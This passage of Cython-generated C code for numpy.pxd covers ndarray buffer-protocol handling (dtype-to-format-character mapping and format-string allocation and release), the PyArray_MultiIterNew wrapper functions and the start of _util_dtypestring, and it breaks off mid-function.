if ((descr.byteorder == '>' and little_endian) or\n *                     (descr.byteorder == '<' and not little_endian)):\n *                     raise ValueError(u\"Non-native byte order not supported\")             # <<<<<<<<<<<<<<\n *                 if   t == NPY_BYTE:        f = \"b\"\n *                 elif t == NPY_UBYTE:       f = \"B\"\n */\n      __pyx_t_1 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_k_tuple_10), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 248; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_1);\n      __Pyx_Raise(__pyx_t_1, 0, 0);\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      {__pyx_filename = __pyx_f[1]; __pyx_lineno = 248; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      goto __pyx_L13;\n    }\n    __pyx_L13:;\n\n    /* \"numpy.pxd\":249\n *                     (descr.byteorder == '<' and not little_endian)):\n *                     raise ValueError(u\"Non-native byte order not supported\")\n *                 if   t == NPY_BYTE:        f = \"b\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_UBYTE:       f = \"B\"\n *                 elif t == NPY_SHORT:       f = \"h\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_BYTE);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__b;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":250\n *                     raise ValueError(u\"Non-native byte order not supported\")\n *                 if   t == NPY_BYTE:        f = \"b\"\n *                 elif t == NPY_UBYTE:       f = \"B\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_SHORT:       f = \"h\"\n *                 elif t == NPY_USHORT:      f = \"H\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_UBYTE);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__B;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":251\n *                 if   t == NPY_BYTE:        f = \"b\"\n *                 elif t == NPY_UBYTE:       f = \"B\"\n *                 elif t == NPY_SHORT:       f = \"h\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_USHORT:      f = \"H\"\n *                 elif t == NPY_INT:         f = \"i\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_SHORT);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__h;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":252\n *                 elif t == NPY_UBYTE:       f = \"B\"\n *                 elif t == NPY_SHORT:       f = \"h\"\n *                 elif t == NPY_USHORT:      f = \"H\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_INT:         f = \"i\"\n *                 elif t == NPY_UINT:        f = \"I\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_USHORT);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__H;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":253\n *                 elif t == NPY_SHORT:       f = \"h\"\n *                 elif t == NPY_USHORT:      f = \"H\"\n *                 elif t == NPY_INT:         f = \"i\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_UINT:        f = \"I\"\n *                 elif t == NPY_LONG:        f = \"l\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_INT);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__i;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":254\n *                 elif t == NPY_USHORT:      f = \"H\"\n *                 elif t == NPY_INT:         f = \"i\"\n *                 elif t == NPY_UINT:        f = \"I\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_LONG:        f = \"l\"\n *                 elif t == NPY_ULONG:       f = \"L\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_UINT);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__I;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":255\n *                 elif t == NPY_INT:         f = \"i\"\n *                 elif t == NPY_UINT:        f = \"I\"\n *                 elif t == NPY_LONG:        f = \"l\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_ULONG:       f = \"L\"\n *                 elif t == NPY_LONGLONG:    f = \"q\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_LONG);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__l;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":256\n *                 elif t == NPY_UINT:        f = \"I\"\n *                 elif t == NPY_LONG:        f = \"l\"\n *                 elif t == NPY_ULONG:       f = \"L\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_LONGLONG:    f = \"q\"\n *                 elif t == NPY_ULONGLONG:   f = \"Q\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_ULONG);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__L;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":257\n *                 elif t == NPY_LONG:        f = \"l\"\n *                 elif t == NPY_ULONG:       f = \"L\"\n *                 elif t == NPY_LONGLONG:    f = \"q\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_ULONGLONG:   f = \"Q\"\n *                 elif t == NPY_FLOAT:       f = \"f\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_LONGLONG);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__q;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":258\n *                 elif t == NPY_ULONG:       f = \"L\"\n *                 elif t == NPY_LONGLONG:    f = \"q\"\n *                 elif t == NPY_ULONGLONG:   f = \"Q\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_FLOAT:       f = \"f\"\n *                 elif t == NPY_DOUBLE:      f = \"d\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_ULONGLONG);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__Q;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":259\n *                 elif t == NPY_LONGLONG:    f = \"q\"\n *                 elif t == NPY_ULONGLONG:   f = \"Q\"\n *                 elif t == NPY_FLOAT:       f = \"f\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_DOUBLE:      f = \"d\"\n *                 elif t == NPY_LONGDOUBLE:  f = \"g\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_FLOAT);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__f;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":260\n *                 elif t == NPY_ULONGLONG:   f = \"Q\"\n *                 elif t == NPY_FLOAT:       f = \"f\"\n *                 elif t == NPY_DOUBLE:      f = \"d\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_LONGDOUBLE:  f = \"g\"\n *                 elif t == NPY_CFLOAT:      f = \"Zf\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_DOUBLE);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__d;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":261\n *                 elif t == NPY_FLOAT:       f = \"f\"\n *                 elif t == NPY_DOUBLE:      f = \"d\"\n *                 elif t == NPY_LONGDOUBLE:  f = \"g\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_CFLOAT:      f = \"Zf\"\n *                 elif t == NPY_CDOUBLE:     f = \"Zd\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_LONGDOUBLE);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__g;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":262\n *                 elif t == NPY_DOUBLE:      f = \"d\"\n *                 elif t == NPY_LONGDOUBLE:  f = \"g\"\n *                 elif t == NPY_CFLOAT:      f = \"Zf\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_CDOUBLE:     f = \"Zd\"\n *                 elif t == NPY_CLONGDOUBLE: f = \"Zg\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_CFLOAT);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__Zf;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":263\n *                 elif t == NPY_LONGDOUBLE:  f = \"g\"\n *                 elif t == NPY_CFLOAT:      f = \"Zf\"\n *                 elif t == NPY_CDOUBLE:     f = \"Zd\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_CLONGDOUBLE: f = \"Zg\"\n *                 elif t == NPY_OBJECT:      f = \"O\"\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_CDOUBLE);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__Zd;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":264\n *                 elif t == NPY_CFLOAT:      f = \"Zf\"\n *                 elif t == NPY_CDOUBLE:     f = \"Zd\"\n *                 elif t == NPY_CLONGDOUBLE: f = \"Zg\"             # <<<<<<<<<<<<<<\n *                 elif t == NPY_OBJECT:      f = \"O\"\n *                 else:\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_CLONGDOUBLE);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__Zg;\n      goto __pyx_L14;\n    }\n\n    /* \"numpy.pxd\":265\n *                 elif t == NPY_CDOUBLE:     f = \"Zd\"\n *                 elif t == NPY_CLONGDOUBLE: f = \"Zg\"\n *                 elif t == NPY_OBJECT:      f = \"O\"             # <<<<<<<<<<<<<<\n *                 else:\n *                     raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)\n */\n    __pyx_t_2 = (__pyx_v_t == NPY_OBJECT);\n    if (__pyx_t_2) {\n      __pyx_v_f = __pyx_k__O;\n      goto __pyx_L14;\n    }\n    /*else*/ {\n\n      /* \"numpy.pxd\":267\n *                 elif t == NPY_OBJECT:      f = \"O\"\n *                 else:\n *                     raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)             # <<<<<<<<<<<<<<\n *                 info.format = f\n *                 return\n */\n      __pyx_t_1 = PyInt_FromLong(__pyx_v_t); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 267; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_1);\n      __pyx_t_8 = PyNumber_Remainder(((PyObject *)__pyx_kp_u_11), __pyx_t_1); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 267; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(((PyObject *)__pyx_t_8));\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 267; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(((PyObject *)__pyx_t_1));\n      PyTuple_SET_ITEM(__pyx_t_1, 0, ((PyObject *)__pyx_t_8));\n      __Pyx_GIVEREF(((PyObject *)__pyx_t_8));\n      __pyx_t_8 = 0;\n      __pyx_t_8 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 267; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_8);\n      __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0;\n      __Pyx_Raise(__pyx_t_8, 0, 0);\n      __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;\n      {__pyx_filename = __pyx_f[1]; __pyx_lineno = 267; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    }\n    __pyx_L14:;\n\n    /* \"numpy.pxd\":268\n *                 else:\n *                     raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)\n *                 info.format = f             # <<<<<<<<<<<<<<\n *                 return\n *             else:\n */\n    __pyx_v_info->format = __pyx_v_f;\n\n    /* \"numpy.pxd\":269\n *                     raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)\n *                 info.format = f\n *                 return             # <<<<<<<<<<<<<<\n *             else:\n *                 info.format = <char*>stdlib.malloc(_buffer_format_string_len)\n */\n    __pyx_r = 0;\n    goto __pyx_L0;\n    goto __pyx_L12;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":271\n *                 return\n *             else:\n *                 info.format = <char*>stdlib.malloc(_buffer_format_string_len)             # <<<<<<<<<<<<<<\n *                 info.format[0] = '^' # Native data types, manual alignment\n *                 offset = 0\n */\n    __pyx_v_info->format = ((char *)malloc(255));\n\n    /* \"numpy.pxd\":272\n *             else:\n *                 info.format = <char*>stdlib.malloc(_buffer_format_string_len)\n *                 info.format[0] = '^' # Native data types, manual alignment             # <<<<<<<<<<<<<<\n *                 offset = 0\n *                 f = _util_dtypestring(descr, info.format + 1,\n */\n    (__pyx_v_info->format[0]) = '^';\n\n    /* \"numpy.pxd\":273\n *                 info.format = <char*>stdlib.malloc(_buffer_format_string_len)\n *                 info.format[0] = '^' # Native data types, manual alignment\n *                 offset = 0             # <<<<<<<<<<<<<<\n *                 f = _util_dtypestring(descr, info.format + 1,\n *                                       info.format + _buffer_format_string_len,\n */\n    __pyx_v_offset = 0;\n\n    /* \"numpy.pxd\":276\n *                 f = _util_dtypestring(descr, info.format + 1,\n *                                       info.format + _buffer_format_string_len,\n *                                       &offset)             # <<<<<<<<<<<<<<\n *                 f[0] = 0 # Terminate format string\n * \n */\n    __pyx_t_9 = __pyx_f_5numpy__util_dtypestring(__pyx_v_descr, (__pyx_v_info->format + 1), (__pyx_v_info->format + 255), (&__pyx_v_offset)); if (unlikely(__pyx_t_9 == NULL)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 274; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __pyx_v_f = __pyx_t_9;\n\n    /* \"numpy.pxd\":277\n *                                       info.format + _buffer_format_string_len,\n *                                       &offset)\n *                 f[0] = 0 # Terminate format string             # <<<<<<<<<<<<<<\n * \n *         def __releasebuffer__(ndarray self, Py_buffer* info):\n */\n    (__pyx_v_f[0]) = 0;\n  }\n  __pyx_L12:;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_8);\n  __Pyx_AddTraceback(\"numpy.ndarray.__getbuffer__\");\n  __pyx_r = -1;\n  __Pyx_GOTREF(__pyx_v_info->obj);\n  __Pyx_DECREF(__pyx_v_info->obj); __pyx_v_info->obj = NULL;\n  goto __pyx_L2;\n  __pyx_L0:;\n  if (__pyx_v_info->obj == Py_None) {\n    __Pyx_GOTREF(Py_None);\n    __Pyx_DECREF(Py_None); __pyx_v_info->obj = NULL;\n  }\n  __pyx_L2:;\n  __Pyx_XDECREF((PyObject *)__pyx_v_descr);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":279\n *                 f[0] = 0 # Terminate format string\n * \n *         def __releasebuffer__(ndarray self, Py_buffer* info):             # <<<<<<<<<<<<<<\n *             if PyArray_HASFIELDS(self):\n *                 stdlib.free(info.format)\n */\n\nstatic CYTHON_UNUSED void __pyx_pf_5numpy_7ndarray_1__releasebuffer__(PyObject *__pyx_v_self, Py_buffer *__pyx_v_info); /*proto*/\nstatic CYTHON_UNUSED void __pyx_pf_5numpy_7ndarray_1__releasebuffer__(PyObject *__pyx_v_self, Py_buffer *__pyx_v_info) {\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_t_2;\n  __Pyx_RefNannySetupContext(\"__releasebuffer__\");\n\n  /* \"numpy.pxd\":280\n * \n *         def __releasebuffer__(ndarray self, Py_buffer* info):\n *             if PyArray_HASFIELDS(self):             # <<<<<<<<<<<<<<\n *                 stdlib.free(info.format)\n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):\n */\n  __pyx_t_1 = __pyx_v_self;\n  __Pyx_INCREF(__pyx_t_1);\n  __pyx_t_2 = PyArray_HASFIELDS(((PyArrayObject *)__pyx_t_1));\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  if (__pyx_t_2) {\n\n    /* \"numpy.pxd\":281\n *         def __releasebuffer__(ndarray self, Py_buffer* info):\n *             if PyArray_HASFIELDS(self):\n *                 stdlib.free(info.format)             # <<<<<<<<<<<<<<\n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):\n *                 stdlib.free(info.strides)\n */\n    free(__pyx_v_info->format);\n    goto __pyx_L5;\n  }\n  __pyx_L5:;\n\n  /* \"numpy.pxd\":282\n *             if PyArray_HASFIELDS(self):\n *                 stdlib.free(info.format)\n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):             # <<<<<<<<<<<<<<\n *                 stdlib.free(info.strides)\n *                 # info.shape was stored after info.strides in the same block\n */\n  __pyx_t_2 = ((sizeof(npy_intp)) != (sizeof(Py_ssize_t)));\n  if (__pyx_t_2) {\n\n    /* \"numpy.pxd\":283\n *                 stdlib.free(info.format)\n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):\n *                 stdlib.free(info.strides)             # <<<<<<<<<<<<<<\n *                 # info.shape was stored after info.strides in the same block\n * \n */\n    free(__pyx_v_info->strides);\n    goto __pyx_L6;\n  }\n  __pyx_L6:;\n\n  __Pyx_RefNannyFinishContext();\n}\n\n/* \"numpy.pxd\":756\n * ctypedef npy_cdouble     complex_t\n * \n * cdef inline object PyArray_MultiIterNew1(a):             # <<<<<<<<<<<<<<\n *     return PyArray_MultiIterNew(1, <void*>a)\n * \n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew1(PyObject *__pyx_v_a) {\n  PyObject *__pyx_r = NULL;\n  PyObject *__pyx_t_1 = NULL;\n  __Pyx_RefNannySetupContext(\"PyArray_MultiIterNew1\");\n\n  /* \"numpy.pxd\":757\n * \n * cdef inline object PyArray_MultiIterNew1(a):\n *     return PyArray_MultiIterNew(1, <void*>a)             # <<<<<<<<<<<<<<\n * \n * cdef inline object PyArray_MultiIterNew2(a, b):\n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyArray_MultiIterNew(1, ((void *)__pyx_v_a)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 757; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"numpy.PyArray_MultiIterNew1\");\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":759\n *     return PyArray_MultiIterNew(1, <void*>a)\n * \n * cdef inline object PyArray_MultiIterNew2(a, b):             # <<<<<<<<<<<<<<\n *     return PyArray_MultiIterNew(2, <void*>a, <void*>b)\n * \n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew2(PyObject *__pyx_v_a, PyObject *__pyx_v_b) {\n  PyObject *__pyx_r = NULL;\n  PyObject *__pyx_t_1 = NULL;\n  __Pyx_RefNannySetupContext(\"PyArray_MultiIterNew2\");\n\n  /* \"numpy.pxd\":760\n * \n * cdef inline object PyArray_MultiIterNew2(a, b):\n *     return PyArray_MultiIterNew(2, <void*>a, <void*>b)             # <<<<<<<<<<<<<<\n * \n * cdef inline object PyArray_MultiIterNew3(a, b, c):\n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyArray_MultiIterNew(2, ((void *)__pyx_v_a), ((void *)__pyx_v_b)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 760; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"numpy.PyArray_MultiIterNew2\");\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":762\n *     return PyArray_MultiIterNew(2, <void*>a, <void*>b)\n * \n * cdef inline object PyArray_MultiIterNew3(a, b, c):             # <<<<<<<<<<<<<<\n *     return PyArray_MultiIterNew(3, <void*>a, <void*>b, <void*> c)\n * \n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew3(PyObject *__pyx_v_a, PyObject *__pyx_v_b, PyObject *__pyx_v_c) {\n  PyObject *__pyx_r = NULL;\n  PyObject *__pyx_t_1 = NULL;\n  __Pyx_RefNannySetupContext(\"PyArray_MultiIterNew3\");\n\n  /* \"numpy.pxd\":763\n * \n * cdef inline object PyArray_MultiIterNew3(a, b, c):\n *     return PyArray_MultiIterNew(3, <void*>a, <void*>b, <void*> c)             # <<<<<<<<<<<<<<\n * \n * cdef inline object PyArray_MultiIterNew4(a, b, c, d):\n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyArray_MultiIterNew(3, ((void *)__pyx_v_a), ((void *)__pyx_v_b), ((void *)__pyx_v_c)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 763; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"numpy.PyArray_MultiIterNew3\");\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":765\n *     return PyArray_MultiIterNew(3, <void*>a, <void*>b, <void*> c)\n * \n * cdef inline object PyArray_MultiIterNew4(a, b, c, d):             # <<<<<<<<<<<<<<\n *     return PyArray_MultiIterNew(4, <void*>a, <void*>b, <void*>c, <void*> d)\n * \n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew4(PyObject *__pyx_v_a, PyObject *__pyx_v_b, PyObject *__pyx_v_c, PyObject *__pyx_v_d) {\n  PyObject *__pyx_r = NULL;\n  PyObject *__pyx_t_1 = NULL;\n  __Pyx_RefNannySetupContext(\"PyArray_MultiIterNew4\");\n\n  /* \"numpy.pxd\":766\n * \n * cdef inline object PyArray_MultiIterNew4(a, b, c, d):\n *     return PyArray_MultiIterNew(4, <void*>a, <void*>b, <void*>c, <void*> d)             # <<<<<<<<<<<<<<\n * \n * cdef inline object PyArray_MultiIterNew5(a, b, c, d, e):\n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyArray_MultiIterNew(4, ((void *)__pyx_v_a), ((void *)__pyx_v_b), ((void *)__pyx_v_c), ((void *)__pyx_v_d)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 766; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"numpy.PyArray_MultiIterNew4\");\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":768\n *     return PyArray_MultiIterNew(4, <void*>a, <void*>b, <void*>c, <void*> d)\n * \n * cdef inline object PyArray_MultiIterNew5(a, b, c, d, e):             # <<<<<<<<<<<<<<\n *     return PyArray_MultiIterNew(5, <void*>a, <void*>b, <void*>c, <void*> d, <void*> e)\n * \n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew5(PyObject *__pyx_v_a, PyObject *__pyx_v_b, PyObject *__pyx_v_c, PyObject *__pyx_v_d, PyObject *__pyx_v_e) {\n  PyObject *__pyx_r = NULL;\n  PyObject *__pyx_t_1 = NULL;\n  __Pyx_RefNannySetupContext(\"PyArray_MultiIterNew5\");\n\n  /* \"numpy.pxd\":769\n * \n * cdef inline object PyArray_MultiIterNew5(a, b, c, d, e):\n *     return PyArray_MultiIterNew(5, <void*>a, <void*>b, <void*>c, <void*> d, <void*> e)             # <<<<<<<<<<<<<<\n * \n * cdef inline char* _util_dtypestring(dtype descr, char* f, char* end, int* offset) except NULL:\n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyArray_MultiIterNew(5, ((void *)__pyx_v_a), ((void *)__pyx_v_b), ((void *)__pyx_v_c), ((void *)__pyx_v_d), ((void *)__pyx_v_e)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 769; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"numpy.PyArray_MultiIterNew5\");\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":771\n *     return PyArray_MultiIterNew(5, <void*>a, <void*>b, <void*>c, <void*> d, <void*> e)\n * \n * cdef inline char* _util_dtypestring(dtype descr, char* f, char* end, int* offset) except NULL:             # <<<<<<<<<<<<<<\n *     # Recursive utility function used in __getbuffer__ to get format\n *     # string. The new location in the format string is returned.\n */\n\nstatic CYTHON_INLINE char *__pyx_f_5numpy__util_dtypestring(PyArray_Descr *__pyx_v_descr, char *__pyx_v_f, char *__pyx_v_end, int *__pyx_v_offset) {\n  PyArray_Descr *__pyx_v_child;\n  int __pyx_v_endian_detector;\n  int __pyx_v_little_endian;\n  PyObject *__pyx_v_fields;\n  PyObject *__pyx_v_childname;\n  PyObject *__pyx_v_new_offset;\n  PyObject *__pyx_v_t;\n  char *__pyx_r;\n  Py_ssize_t __pyx_t_1;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  PyObject *__pyx_t_5 = NULL;\n  int __pyx_t_6;\n  int __pyx_t_7;\n  int __pyx_t_8;\n  int __pyx_t_9;\n  long __pyx_t_10;\n  char *__pyx_t_11;\n  __Pyx_RefNannySetupContext(\"_util_dtypestring\");\n  __pyx_v_child = ((PyArray_Descr *)Py_None); __Pyx_INCREF(Py_None);\n  __pyx_v_fields = ((PyObject*)Py_None); __Pyx_INCREF(Py_None);\n  __pyx_v_childname = Py_None; __Pyx_INCREF(Py_None);\n  __pyx_v_new_offset = Py_None; __Pyx_INCREF(Py_None);\n  __pyx_v_t = Py_None; __Pyx_INCREF(Py_None);\n\n  /* \"numpy.pxd\":778\n *     cdef int delta_offset\n *     cdef tuple i\n *     cdef int endian_detector = 1             # <<<<<<<<<<<<<<\n *     cdef bint little_endian = ((<char*>&endian_detector)[0] != 0)\n *     cdef tuple fields\n */\n  __pyx_v_endian_detector = 1;\n\n  /* \"numpy.pxd\":779\n *     cdef tuple i\n *     cdef int endian_detector = 1\n *     cdef bint little_endian = ((<char*>&endian_detector)[0] != 0)             # <<<<<<<<<<<<<<\n *     cdef tuple fields\n * \n */\n  __pyx_v_little_endian = ((((char *)(&__pyx_v_endian_detector))[0]) != 0);\n\n  /* \"numpy.pxd\":782\n *     cdef tuple fields\n * \n *     for childname in descr.names:             # <<<<<<<<<<<<<<\n *         fields = descr.fields[childname]\n *         child, new_offset = fields\n */\n  if (unlikely(__pyx_v_descr->names == Py_None)) {\n    PyErr_SetString(PyExc_TypeError, \"'NoneType' object is not iterable\"); {__pyx_filename = __pyx_f[1]; __pyx_lineno = 782; __pyx_clineno = __LINE__; goto __pyx_L1_error;} \n  }\n  __pyx_t_1 = 0; __pyx_t_2 = ((PyObject *)__pyx_v_descr->names); __Pyx_INCREF(__pyx_t_2);\n  for (;;) {\n    if (__pyx_t_1 >= PyTuple_GET_SIZE(__pyx_t_2)) break;\n    __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_2, __pyx_t_1); __Pyx_INCREF(__pyx_t_3); __pyx_t_1++;\n    __Pyx_DECREF(__pyx_v_childname);\n    __pyx_v_childname = __pyx_t_3;\n    __pyx_t_3 = 0;\n\n    /* \"numpy.pxd\":783\n * \n *     for childname in descr.names:\n *         fields = descr.fields[childname]             # <<<<<<<<<<<<<<\n *         child, new_offset = fields\n * \n */\n    __pyx_t_3 = 